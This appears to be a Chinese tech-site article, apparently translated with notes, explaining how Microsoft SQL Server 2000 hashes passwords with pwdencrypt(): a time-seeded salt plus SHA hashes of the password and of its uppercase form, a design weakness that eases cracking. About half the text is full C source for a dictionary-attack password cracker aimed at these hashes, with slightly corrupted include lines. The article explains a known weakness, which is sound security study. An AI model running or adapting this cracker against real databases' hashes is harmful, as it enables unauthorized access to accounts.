扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
SQL服务器是怎样储存密码的?
SQL服务器使用了一个没有公开的函数pwdencrypt()对用户密码产生一个hash.通过研究我们可以发现这个hash储存在mater数据库的sysxlogins表里面。这个可能已经是众所周知的事情了。
pwdencrypt()函数还没有公布详细的资料,我们这份文档将详细对这个函数进行讨论,并将指出sql服务器储存hash的这种方法的一些不足之处。实际上,等下我将会说‘密码hashes’。(allyesno:后文会讨论到,由于时间的关系即使当密码相同的时候生成的hash也并不是唯一一个,所以是hashes)
SQL的密码hash看起来是怎样的呢?
我们使用查询分析器,或者任何一个SQL客户端来执行这条语句:select password from master.dbo.sysxlogins where name='sa'
屏幕会返回类似下面这行字符串的东东。0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA954AFF4057056D9B
这是我机子上登录密码的hash.
通过分析hash我们可以从中获取pwdencrypt()的一些什么信息?
1.时间
首先我们使用查询 select pwdencrypt() 来生成hash
select pwdencrypt('ph4nt0m')
生成hash
0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D4B8279BA19EFE77
ok再一次 select pwdencrypt('ph4nt0m')
0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB854FB343F3DBB106CFB
我们注意到,虽然两次我们加密的字符串都是ph4nt0m但是生成的hash却不一样。那么是什么使两次hash的结果不一样呢,我们大胆的推测是时间在这里面起到了关键的作用,它是创建密码hashes和储存hashes的重要因素。之所以使用这样的方式,是因为当两个人输入同样的密码时可以以此产生不同的密码hashes用来掩饰他们的密码是相同的。
2.大小写(广告时间:英汉网络技术词汇这本字典好,翻译的时候很多金山词霸找不到的东西,它都能弄出来)
使用查询
select pwdencrypt('ALLYESNO')
我们将得到hash
0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296 771E4C91
通过观察,我们可以发现这段hash中有两段是相同的,如果你不能马上看出来,让我们把它截断来看。
0x0100(固定)
4C61CD2D(补充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)
现在我们可以看出来最后两组字符串是一模一样的了。这说明这段密码被相同的加密方式进行了两次加密。一组是按照字符原型进行加密,另一组是按照字符的大写形式进行了加密。当有人尝试破解SQL密码的时候将会比他预期要容易,这是一个糟糕的加密方式。因为破解密码的人不需要理会字符原型是大写还是小写,他们只需要破解大写字符就可以了。这将大大减少了破解密码者所需要破解密码的字符数量。(allyesno:flashsky的文章《浅谈SQL SERVER数据库口令的脆弱性》中曾经提到“如因为其算法一样,如果HASH1=HASH2,就可以判断口令肯定是未使用字母,只使用了数字和符号的口令”。实际上并不如flashsky所说的完全相同,我们使用了select pwdencrypt()进行加密以后就可以发现使用了数字和符号和大写字母的密码其hash1和hash2都会相同,所以这是flashsky文章中一个小小的bug)
补充key
根据上文所述,当时间改变的时候也会使得hash改变,在hash中有一些跟时间有关系的信息使得密码的hashes不相同,这些信息是很容易获取的。当我们登录的时候依靠从登录密码中和数据库中储存的hash信息,就可以做一个比较从而分析出这部分信息,我们可以把这部分信息叫做补充key.
上文中我们获取的hash中,补充key 4C61CD2D 就是这个信息的一部分。
这个key 4C61CD2D 由以下阐述的方法生成。
time()C 函数被调用作为一个种子传递给srand()函数。一旦srand()函数被作为rand()函数的种子并且被调用生成伪随机key,srand()就会设置了一个起点产生一系列的(伪)随机key.然后sql服务器会将这个key截断取一部分,放置在内存里面。我们叫它key1.这个过程将会再运行一次并生成另一个key我们叫他key2.两个key连在一起就生成了我们用来加密密码的补充key.
密码的散列法
用户的密码会被转换成UNICODE形式。补充key会添加到他们后面。例如以下所示:{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D}
以上的字符串将会被sql服务器使用pwdencrypt()函数进行加密(这个函数位于advapi32.dll)。生成两个hash
0x0100(固定)
4C61CD2D(补充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)
验证过程
用户登录SQL服务器的验证过程是这样子的:当用户登陆的时候,SQL服务器在数据库中调用上面例子中的补充key4C61CD2D,将其附加在字符串“ALLYESNO”的后面,然后使用pwdencrypt()函数进行加密。然后把生成的hash跟数据库内的hash进行对比,以此来验证用户输入的密码是否正确。
SQL服务器密码破解
我们可以使用同样的方式去破解SQL的密码。当然我们会首先选择使用大写字母和符号做为字典进行破解,这比猜测小写字母要来得容易。
一个命令行的MSSQL服务器HASH破解工具源代码
以下是引用片段:
/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#i nclude
#i nclude
#i nclude
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
int err = 0;
if(argc !=3)
{
printf("\n\n*** SQLCrack *** \n\n");
printf("C:\>%s hash passwd-file\n\n",argv[0]);
printf("David Litchfield (david@ngssoftware.com)\n");
printf("24th June 2002\n");
return 0;
}
err = OpenPasswordFile(argv[2]);
if(err !=0)
{
return printf("\nThere was an error opening the password file %s\n",argv[2]);
}
err = CrackPassword(argv[1]);
fclose(fd);
printf("\n\n%d",wd);
return 0;
}
int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,"r");
if(fd)
return 0;
else
return 1;
}
int CrackPassword(char *hash)
{
char phash[100]="";
char pheader[8]="";
char pkey[12]="";
char pnorm[44]="";
char pucase[44]="";
char pucfirst[8]="";
char wttf[44]="";
char uwttf[100]="";
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
{
return printf("\nThe password hash is too short!\n");
}
if(hash[0]==0x30 && (hash[1]== ’x’ || hash[1] == ’X’))
{
hash = hash + 2;
strncpy(pheader,hash,4);
printf("\nHeader\t\t: %s",pheader);
if(strlen(pheader)!=4)
return printf("%s",lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf("\nRand key\t: %s",pkey);
if(strlen(pkey)!=8)
return printf("%s",lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf("\nNormal\t\t: %s",pnorm);
if(strlen(pnorm)!=40)
return printf("%s",lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf("\nUpper Case\t: %s",pucase);
if(strlen(pucase)!=40)
return printf("%s",lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,"%x",&cmp);
}
else
{
return printf("The password hash has an invalid format!\n");
}
printf("\n\n Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
{
if(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf("FAILLLLLLL!!!");
return FALSE;
}
}
}
while(1)
{
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf("\nEnd of password file. Didn’t find the password.\n");
wd++;
len = strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while(count < len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len --;
wp = &uwttf;
sscanf(pkey,"%x",&key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 8;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 16;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 24;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
printf("Error %x during CryptCreatHash!\n", GetLastError());
return 0;
}
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
{
printf("Error %x during CryptHashData!\n", GetLastError());
return FALSE;
}
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while(cnt < 20)
{
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
if(szhash[cnt]==cmp)
cnt ++;
else
{
break;
}
}
if(cnt == 20)
{
// We’ve found the password
printf("\nA MATCH!!! Password is %s\n",wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0;
}
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者